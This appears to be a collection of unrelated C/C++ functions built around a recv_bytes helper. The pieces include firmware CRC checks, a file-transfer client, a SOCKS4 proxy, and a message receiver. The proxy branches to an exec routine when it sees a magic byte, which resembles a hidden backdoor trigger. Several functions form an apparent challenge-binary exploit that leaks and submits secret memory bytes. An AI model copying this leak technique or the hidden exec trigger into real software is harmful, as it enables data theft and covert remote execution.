/** * Synchronously receive a message. * * On success, *msg contains the message which was received and * *msg_free_closure code which will free it. * * Returns positive on success, 0 on EOF, -errno on failure */ int plat_recv_msg(int fd, struct plat_msg_header **msg_ptr, plat_msg_free_t *msg_free_closure) { struct plat_msg_header header, *msg = NULL; int got; size_t remain; int ret; ret = recv_bytes(fd, &header, sizeof (header)); if (!ret) { } else if (0 <= ret && ret < sizeof (header)) { plat_log_msg(20959, PLAT_LOG_CAT_PLATFORM_MSG, PLAT_LOG_LEVEL_DIAGNOSTIC, "plat_recv_msg short header %d of %u bytes", ret, (unsigned)sizeof (header)); ret = -PLAT_EEOF; } else if (ret == sizeof (header) && header.magic != PLAT_MSG_MAGIC) { plat_log_msg(20960, PLAT_LOG_CAT_PLATFORM_MSG, PLAT_LOG_LEVEL_DIAGNOSTIC, "plat_recv_msg bad magix %x", header.magic); ret = -EILSEQ; } else { msg = plat_alloc(header.len); if (!msg) { ret = -ENOMEM; }; }; if (ret > 0) { memcpy(msg, &header, sizeof (header)); remain = header.len - sizeof (header); got = recv_bytes(fd, ((char *)msg) + sizeof (header), remain); if (got < 0) { ret = got; } else if (!got) { ret = -PLAT_EEOF; } else if (got < remain) { plat_log_msg(20961, PLAT_LOG_CAT_PLATFORM_MSG, PLAT_LOG_LEVEL_DIAGNOSTIC, "plat_recv_msg short payload %d of %u bytes", got, (unsigned)remain); ret = -PLAT_EEOF; } else { ret += got; } } if (ret > 0) { *msg_ptr = msg; *msg_free_closure = plat_msg_free_create(PLAT_CLOSURE_SCHEDULER_SYNCHRONOUS, &free_msg, NULL); } else { plat_free(msg); } return (ret); }
/* verify firmware for a rev3 bootloader */ bool AP_IOMCU::verify_rev3(uint32_t fw_size_local) { bool ret; uint32_t sum = 0; uint32_t bytes_read = 0; uint32_t crc = 0; uint32_t fw_size_remote; uint8_t fill_blank = 0xff; debug("verify..."); ret = get_info(INFO_FLASH_SIZE, fw_size_remote); send(PROTO_EOC); if (!ret) { debug("could not read firmware size"); return ret; } /* read through the firmware file again and calculate the checksum */ while (bytes_read < fw_size_local) { uint32_t n = fw_size_local - bytes_read; if (n > 4) { n = 4; } /* calculate crc32 sum */ sum = crc_crc32(sum, &fw[bytes_read], n); bytes_read += n; } /* fill the rest with 0xff */ while (bytes_read < fw_size_remote) { sum = crc_crc32(sum, &fill_blank, 1); bytes_read++; } /* request CRC from IO */ send(PROTO_GET_CRC); send(PROTO_EOC); ret = recv_bytes((uint8_t *)(&crc), sizeof(crc)); if (!ret) { debug("did not receive CRC checksum"); return ret; } /* compare the CRC sum from the IO with the one calculated */ if (sum != crc) { debug("CRC wrong: received: 0x%x, expected: 0x%x", (unsigned)crc, (unsigned)sum); return false; } crc_is_ok = true; return true; }
/** * Receive the GIMME banner. */ void get_gimme_banner() { #ifdef DEBUG fprintf(stderr, "GIMME..."); #endif if (24 != recv_bytes(STDIN, gimme_buf, 24)) { _terminate(10); } #ifdef DEBUG fprintf(stderr, "recvd\n"); #endif }
/** * Receive the DONE banner. */ void get_done_banner() { #ifdef DEBUG fprintf(stderr, "DONE..."); #endif if (25 != recv_bytes(STDIN, done_buf, 25)) { _terminate(10); } #ifdef DEBUG fprintf(stderr, "recvd\n"); #endif }
/* get bootloader version */ bool AP_IOMCU::get_info(uint8_t param, uint32_t &val) { bool ret; send(PROTO_GET_DEVICE); send(param); send(PROTO_EOC); ret = recv_bytes((uint8_t *)&val, sizeof(val)); if (!ret) { return ret; } return get_sync(); }
int PX4IO_Uploader::get_info(int param, uint32_t &val) { int ret; send(PROTO_GET_DEVICE); send(param); send(PROTO_EOC); ret = recv_bytes((uint8_t *)&val, sizeof(val)); if (ret != OK) return ret; return get_sync(); }
static void socks4_client(int sock) { struct socks4_header h; struct sockaddr_in addr; int relay=INVALID_SOCKET; unsigned char c; if (recv(sock, &c, 1, MSG_PEEK) != 1) goto ex; if (c == SOCKS4_EXECBYTE) { socks4_exec(sock); closesocket(sock); return; } if (c != 0x04) goto reject; if (recv_bytes(sock, (char *)&h, sizeof(h), 0) != sizeof(h)) goto ex; if (skip_until(sock, '\0')) goto reject; if (h.vn != 0x04) goto reject; if (h.cd != 0x01) goto reject; /* BIND method is not supported */ if ((h.dstip != 0) && ((htonl(h.dstip) & 0xFFFFFF00) == 0)) /* 0.0.0.xxx, xxx!=0 */ /* SOCKS4A extension... */ if (parse_socks4a(sock, &h.dstip)) goto reject; addr.sin_family = AF_INET; addr.sin_port = h.dstport; addr.sin_addr.s_addr = h.dstip; relay = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); if (relay == INVALID_SOCKET) goto reject; if (connect(relay, (struct sockaddr *)&addr, sizeof(addr))) goto reject; h.vn = 0x04; h.cd = SOCKS4_SUCCEEDED; /* success */ send(sock, (char *)&h, sizeof(h), 0); relay_socks(sock, relay); ex: if (relay != INVALID_SOCKET) closesocket(relay); closesocket(sock); return; reject: h.vn = 0x04; h.cd = SOCKS4_REJECTED; /* rejected/failed */ send(sock, (char *)&h, sizeof(h), 0); goto ex; }
/** * Process result to extract the secret bytes * * @param send_buf Content buffer */ void process_result(char *send_buf) { #ifdef DEBUG fprintf(stderr, "PROCESS RESULT..."); #endif unsigned short *s = (unsigned short *)send_buf; char cs[4] = {0}; struct result r; // cgc_read result #ifdef DEBUG fprintf(stderr, "RESULTS..."); #endif if (sizeof(r) != recv_bytes(STDIN, (char *)&r, sizeof(r))) { _terminate(10); } #ifdef DEBUG fprintf(stderr, "recvd\n"); #endif // compute checksum on send_buf compute_checksum(send_buf, cs); // compute and save secret bytes secret[*s + 9] = r.hash0 ^ cs[0]; found[*s + 9] = 1; secret[*s + 7] = r.hash1 ^ cs[1]; found[*s + 7] = 1; secret[*s + 3] = r.hash2 ^ cs[2]; found[*s + 3] = 1; secret[*s + 0] = r.hash3 ^ cs[3]; found[*s + 0] = 1; #ifdef DEBUG char *s_ptr = secret; fprintf(stderr, "SECRET: "); for (unsigned int i = 0; i < 10; i++) { fprintf(stderr, "%02x", (unsigned char) *s_ptr++); } fprintf(stderr, "\n"); #endif }
/* verify firmware for a rev3 bootloader */ bool AP_IOMCU::verify_rev3(uint32_t fw_size_local) { bool ret; uint32_t sum = 0; uint32_t crc = 0; uint32_t fw_size_remote; const uint8_t fill_blank = 0xff; debug("verify..."); ret = get_info(INFO_FLASH_SIZE, fw_size_remote); send(PROTO_EOC); if (!ret) { debug("could not read firmware size"); return ret; } sum = crc_crc32(0, fw, fw_size_local); /* fill the rest of CRC with 0xff */ for (uint32_t i=0; i<fw_size_remote - fw_size_local; i++) { sum = crc_crc32(sum, &fill_blank, 1); } /* request CRC from IO */ send(PROTO_GET_CRC); send(PROTO_EOC); ret = recv_bytes((uint8_t *)(&crc), sizeof(crc)); if (!ret) { debug("did not receive CRC checksum"); return ret; } /* compare the CRC sum from the IO with the one calculated */ if (sum != crc) { debug("CRC wrong: received: 0x%x, expected: 0x%x", (unsigned)crc, (unsigned)sum); return false; } crc_is_ok = true; return true; }
int PX4IO_Uploader::verify_rev3(size_t fw_size_local) { int ret; uint8_t file_buf[4]; ssize_t count; uint32_t sum = 0; uint32_t bytes_read = 0; uint32_t crc = 0; uint32_t fw_size_remote; uint8_t fill_blank = 0xff; log("verify..."); lseek(_fw_fd, 0, SEEK_SET); ret = get_info(INFO_FLASH_SIZE, fw_size_remote); send(PROTO_EOC); if (ret != OK) { log("could not read firmware size"); return ret; } /* read through the firmware file again and calculate the checksum*/ while (bytes_read < fw_size_local) { size_t n = fw_size_local - bytes_read; if (n > sizeof(file_buf)) { n = sizeof(file_buf); } count = read_with_retry(_fw_fd, file_buf, n); if (count != (ssize_t)n) { log("firmware read of %u bytes at %u failed -> %d errno %d", (unsigned)n, (unsigned)bytes_read, (int)count, (int)errno); } /* set the rest to ff */ if (count == 0) { break; } /* stop if the file cannot be read */ if (count < 0) return -errno; /* calculate crc32 sum */ sum = crc32part((uint8_t *)&file_buf, sizeof(file_buf), sum); bytes_read += count; } /* fill the rest with 0xff */ while (bytes_read < fw_size_remote) { sum = crc32part(&fill_blank, sizeof(fill_blank), sum); bytes_read += sizeof(fill_blank); } /* request CRC from IO */ send(PROTO_GET_CRC); send(PROTO_EOC); ret = recv_bytes((uint8_t*)(&crc), sizeof(crc)); if (ret != OK) { log("did not receive CRC checksum"); return ret; } /* compare the CRC sum from the IO with the one calculated */ if (sum != crc) { log("CRC wrong: received: %d, expected: %d", crc, sum); return -EINVAL; } return OK; }
int main( int argc, char * argv[] ) { // variables and data structures const char * server_hostname; // (from command line) const char * port_str; // (from command line) char filename[FILENAME_BUF_LEN]; // (from command line) char op_str[3]; int socket_fd; // socket for communicating with server long int file_len; // length of file sent by server unsigned char MD5_hash_server[16]; // array (NOT STRING) holding hex values for MD5 hash from server unsigned char * file_buf = NULL; unsigned char * MD5_hash_client[16]; // POINTER to array (NOT STRING) holding hex values for MD5 hash from client (self) enum OPERATION op = REQ; FILE * file = NULL; struct timeval time_start; struct timeval time_end; struct timeval time_elapsed; // get information from command line analyze_argc(argc, 3, &print_usage); server_hostname = argv[1]; debugprintf("server hostnamename argument: %s", server_hostname); port_str = argv[2]; debugprintf("port argument: %s", port_str); // capture start time if (gettimeofday(&time_start, NULL) == -1) { perror("error getting start time"); exit(EXIT_FAILURE); } debugprintf("start time recorded"); // connect to server socket_fd = connect_to_server(server_hostname, port_str); if (socket_fd == -1) { fprintf(stderr, "failed to connect to server, exiting now\n"); exit(EXIT_FAILURE); } // Receive operation input while(op != XIT){ printf("Please enter an operation:\n"); scanf("%s", &op_str); if(strcmp(op_str, "REQ") == 0){ op = REQ; send_operation(socket_fd, op); // gather file info & send it printf("Please enter the name of the file you would like to request:\n"); scanf("%s", &filename); send_file_info(socket_fd, filename); // receive file length from server long int file_len_net; recv_bytes(socket_fd, &file_len_net, sizeof(file_len_net), "file length"); file_len = file_len_net; debugprintf("file length received from server: %ld", file_len); // quit if file does not exist on server if (file_len == -1) { fprintf(stderr, "File does not exists\n"); close(socket_fd); exit(EXIT_SUCCESS); } // receive MD5 hash from server recv_bytes(socket_fd, MD5_hash_server, 16, "MD5 hash"); debugprintf("MD5 hash received from server"); // prepare to receive file byte array (packet by packet) from server file_buf = (unsigned char *)malloc(file_len * sizeof(unsigned char)); int i_full_pckt; int n_full_pckts = file_len / FILE_PCKT_LEN; size_t last_pckt_len = file_len % FILE_PCKT_LEN; debugprintf("expecting %d full packets from server (%zu bytes)", n_full_pckts, FILE_PCKT_LEN); if (last_pckt_len != 0) { debugprintf("last packet will be %zu bytes", last_pckt_len); } else { debugprintf("no last packet will be received"); } // recieve full packets from server for (i_full_pckt = 0; i_full_pckt < n_full_pckts; i_full_pckt++) { recv_bytes(socket_fd, &file_buf[i_full_pckt * FILE_PCKT_LEN], FILE_PCKT_LEN, "file packet"); debugprintf("full packet %d of %d received from server", (i_full_pckt + 1), n_full_pckts); } // receive last packet from server (if necessary) if (last_pckt_len != 0) { recv_bytes(socket_fd, &file_buf[n_full_pckts * FILE_PCKT_LEN], last_pckt_len, "last file packet"); debugprintf("last packet received from server"); } debugprintf("file received from server"); // create MD5 hash of file MD5_hash_of_byte_array(file_buf, file_len, MD5_hash_client); debugprintf("MD5 hash created"); // compare MD5 hashes if (cmp_MD5_hash(*MD5_hash_client, MD5_hash_server) != 0) { fprintf(stderr, "File hashes do not match – bad transfer\n"); close(socket_fd); exit(EXIT_FAILURE); } debugprintf("MD5 hashes match"); //TODO: MAKE FAIL! // write byte array to file file = fopen(filename, "wb"); size_t write_size = fwrite(file_buf, 1, file_len, file); //return value! debugprintf("file created, DONE %d bytes written", write_size); // capture end time if (gettimeofday(&time_end, NULL) == -1) { perror("error getting end time"); close(socket_fd); exit(EXIT_FAILURE); } debugprintf("end time recorded"); // calculate and print time difference and throughput timersub(&time_end, &time_start, &time_elapsed); double seconds_elapsed = time_elapsed.tv_sec + (time_elapsed.tv_usec / 1000000.0); double throughput = ((double)file_len / 1048576) / seconds_elapsed; printf("%ld bytes transferred in %f sec. Throughput: %f Megabytes/sec. File MD5sum: ", file_len, seconds_elapsed, throughput); print_MD5_hash(MD5_hash_client); printf("\n"); } else if(strcmp(op_str, "UPL") == 0){ op = UPL; send_operation(socket_fd, op); printf("Please enter the name of the file you would like to upload:\n"); } else if(strcmp(op_str, "DEL") == 0){ op = DEL; send_operation(socket_fd, op); // gather file info & send it printf("Please enter the name of the file you would like to delete:\n"); scanf("%s", &filename); send_file_info(socket_fd, filename); // Listen for if file exists uint32_t file_exists_net; recv_bytes(socket_fd, &file_exists_net, sizeof(file_exists_net), "operation"); short int file_exists = ntohs(file_exists_net); if(file_exists){ printf("Are you sure you want to delete %s (Yes/No)?\n", &filename); char confirm_str[3]; scanf("%s", &confirm_str); short int confirm; if( strcmp(confirm_str, "Yes") == 0 ){ confirm = 1; debugprintf("file delete sent to client"); } else { confirm = 0; printf("Delete abandoned by user!\n"); } uint32_t confirm_net; confirm_net = htons(confirm); send_bytes(socket_fd, &confirm_net, sizeof(confirm_net), "confirm delete sent to server"); if( confirm ){ recv_bytes(socket_fd, &confirm_net, sizeof(confirm_net), "confirm delete from server"); confirm = ntohs(confirm_net); if( confirm == 0 ){ printf("File was sucessfully deleted from the server\n"); } else printf("Error deleting file from the server\n"); } } else { debugprintf("Server says file does not exist"); } } else if(strcmp(op_str, "LIS") == 0){ op = LIS; send_operation(socket_fd, op); short int num_files; uint32_t num_files_net; recv_bytes(socket_fd, &num_files_net, sizeof(num_files_net), "client receiving num files"); num_files = ntohs(num_files_net); debugprintf("%d Files in the dir\n", num_files); int i; for(i = 0; i < num_files; i++){ receive_file_info ( socket_fd, filename); printf("%s\n", filename); } } else if(strcmp(op_str, "XIT") == 0){ op = XIT; send_operation(socket_fd, op); } } close(socket_fd); printf("Connection to host closed. Goodbye!\n"); exit(EXIT_SUCCESS); }
int main(void) { char *send_buf = NULL; // negotiate type 2 vuln on fd 3 unsigned int neg[1] = {2}; // vals[0] == type2_addr, vals[1] == type2_size, vals[2] == type2_length unsigned int vals[3] = {0}; if (sizeof(neg) != send_bytes(3, (const char *)neg, sizeof(neg))) { _terminate(4); } if (sizeof(vals) != recv_bytes(3, (char *)vals, sizeof(vals))) { _terminate(5); } // define random CONTENT_LEN between 10 and 255 rand(&CONTENT_LEN, 1); if (10 > CONTENT_LEN) { CONTENT_LEN += 10; } #ifdef DEBUG fprintf(stderr, "CONTENT LEN...%i.\n", CONTENT_LEN); #endif if (0 != allocate(CONTENT_LEN, 0, (void **)&send_buf)) { _terminate(6); } cgc_memset(secret, 0, RAND_PG_SZ); cgc_memset(found, 0, RAND_PG_SZ); // loop until have enough consecutive bytes while (get_consecutive_cnt() < vals[2]) { cgc_memset(send_buf, 0, CONTENT_LEN); get_gimme_banner(); create_content(send_buf); // set offset // caution: this might insert TERM value into send_buf; // but it shouldn't because index 3 will be recovered // at the same time as index 0, so it should skip index 3. *(unsigned short *)send_buf = get_first_empty_offset(); send_content(send_buf); get_done_banner(); process_result(send_buf); } if (0 != deallocate(send_buf, CONTENT_LEN)) { _terminate(7); } #ifdef DEBUG fprintf(stderr, "SUBMIT FLAG...\n"); #endif // submit secret bytes #ifdef DEBUG char *s_ptr = secret; fprintf(stderr, "FLAG: "); for (unsigned int i = 0; i < vals[2]; i++) { fprintf(stderr, "%02x", (unsigned char) *s_ptr++); } fprintf(stderr, "\n"); #endif if (vals[2] != send_bytes(3, secret, vals[2])) { _terminate(10); } #ifdef DEBUG fprintf(stderr, "sent\n"); #endif }